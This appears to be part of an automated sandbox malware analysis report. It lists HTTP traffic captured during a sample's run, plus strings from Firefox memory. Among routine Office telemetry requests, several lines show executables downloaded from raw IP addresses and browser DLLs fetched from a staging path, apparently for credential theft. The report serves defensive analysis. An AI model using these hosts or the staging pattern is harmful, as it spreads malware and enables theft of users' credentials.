Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://ads.stickyadstv.com/auto-user-sync://cdn.cmp.advertising.com/firefox-etp://pubads.g.doubleclick.net/gampad/ad-blk://ads.stickyadstv.com/user-matchingresource://gre/modules/NetUtil.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2967466612.000001F5DAA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
